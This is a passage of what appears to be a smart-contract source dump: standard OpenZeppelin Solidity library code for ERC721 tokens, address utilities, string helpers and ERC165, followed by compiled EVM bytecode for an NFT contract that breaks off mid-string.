Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80636352211e116100b8578063a22cb4651161007c578063a22cb46514610266578063b88d4fde14610279578063c87b56dd1461028c578063e8a3d4851461029f578063e985e9c5146102a7578063f2fde38b146102e357600080fd5b80636352211e1461021f57806370a0823114610232578063715018a6146102455780638da5cb5b1461024d57806395d89b411461025e57600080fd5b806318160ddd116100ff57806318160ddd146101c157806323b872dd146101d35780632f745c59146101e657806342842e0e146101f95780634f6ccce71461020c57600080fd5b806301ffc9a71461013c57806306fdde0314610164578063081812fc14610179578063095ea7b3146101a45780631249c58b146101b9575b600080fd5b61014f61014a36600461148c565b6102f6565b60405190151581526020015b60405180910390f35b61016c610321565b60405161015b91906114fd565b61018c610187366004611510565b6103b3565b6040516001600160a01b03909116815260200161015b565b6101b76101b2366004611545565b61044d565b005b6101b7610563565b6008545b60405190815260200161015b565b6101b76101e136600461156f565b6105e0565b6101c56101f4366004611545565b610611565b6101b761020736600461156f565b6106a7565b6101c561021a366004611510565b6106c2565b61018c61022d366004611510565b610755565b6101c56102403660046115ab565b6107cc565b6101b7610853565b600a546001600160a01b031661018c565b61016c6108b9565b6101b76102743660046115c6565b6108c8565b6101b7610287366004611618565b61098d565b61016c61029a366004611510565b6109c5565b61016c6109cb565b61014f6102b53660046116f4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6101b76102f13660046115ab565b6109eb565b60006001600160e01b0319821663780e9d6360e01b148061031b575061031b82610abc565b92915050565b60606000805461033090611727565b80601f016020809104026020016040519081016040528092919081815260200182805461035c90611727565b80156103a95780601f1061037e576101008083540402835291602001916103a9565b820191906000526020600020905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166104315760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061045882610755565b9050806001600160a01b0316836001600160a01b031614156104c65760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610428565b336001600160a01b03821614806104e257506104e281336102b5565b6105545760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610428565b61055e8383610b0c565b505050565b600b61056e60085490565b106105bb5760405162461bcd60e51b815260206004820152601c60248201527f54686520626f6f6d6572616e67732061726520616c6c20676f6e652e000000006044820152606401610428565b60006105c660085490565b90506105d23382610b7a565b6105dc3382610b94565b5050565b6105ea3382610bd2565b6106065760405162461bcd60e51b815260040161042890611762565b61055e838383610cc9565b600061061c836107cc565b821061067e5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610428565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b61055e8383836040518060200160405280600081525061098d565b60006106cd60085490565b82106107305760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610428565b60088281548110610743576107436117b3565b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b03168061031b5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610428565b60006001600160a01b0382166108375760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610428565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146108ad5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610428565b6108b76000610e74565b565b60606001805461033090611727565b6001600160a01b0382163314156109215760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610428565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6109973383610bd2565b6109b35760405162461bcd60e51b815260040161042890611762565b6109bf84848484610ec6565b50505050565b606061031b5b60606040518060600160405280603581526020016118d160359139905090565b600a546001600160a01b03163314610a455760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610428565b6001600160a01b038116610aaa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610428565b610ab381610e74565b50565b3b151590565b60006001600160e01b031982166380ac58cd60e01b1480610aed57506001600160e01b03198216635b5e139f60e01b145b8061031b57506301ffc9a760e01b6001600160e01b031983161461031b565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610b4182610755565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6105dc828260405180602001604052806000815250610ef9565b6000826001600160a01b0316610ba983610755565b6001600160a01b03161415610bc957610bc182610f2c565b50600161031b565b50600092915050565b6000818152600260205260408120546001600160a01b0316610c4b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610428565b6000610c5683610755565b9050806001600160a01b0316846001600160a01b03161480610c915750836001600160a01b0316610c86846103b3565b6001600160a01b0316145b80610cc157506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610cdc82610755565b6001600160a01b031614610d445760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610428565b6001600160a01b038216610da65760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610428565b610db1838383610fd3565b610dbc600082610b0c565b6001600160a01b0383166000908152600360205260408120805460019290610de59084906117df565b90915550506001600160a01b0382166000908152600360205260408120805460019290610e139084906117f6565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610ed1848484610cc9565b610edd8484848461108b565b6109bf5760405162461bcd60e51b81526004016104289061180e565b610f038383611198565b610f10600084848461108b565b61055e5760405162461bcd60e51b81526004016104289061180e565b6000610f3782610755565b9050610f4581600084610fd3565b610f50600083610b0c565b6001600160a01b0381166000908152600360205260408120805460019290610f799084906117df565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6001600160a01b03831661102e5761102981600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611051565b816001600160a01b0316836001600160a01b0316146110515761105183826112e6565b6001600160a01b0382166110685761055e81611383565b826001600160a01b0316826001600160a01b03161461055e5761055e8282611432565b60006001600160a01b0384163b1561118d57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906110cf903390899088908890600401611860565b602060405180830381600087803b1580156110e957600080fd5b505af1925050508015611119575060408051601f3d908101601f191682019092526111169181019061189d565b60015b611173573d808015611147576040519150601f19603f3d011682016040523d8252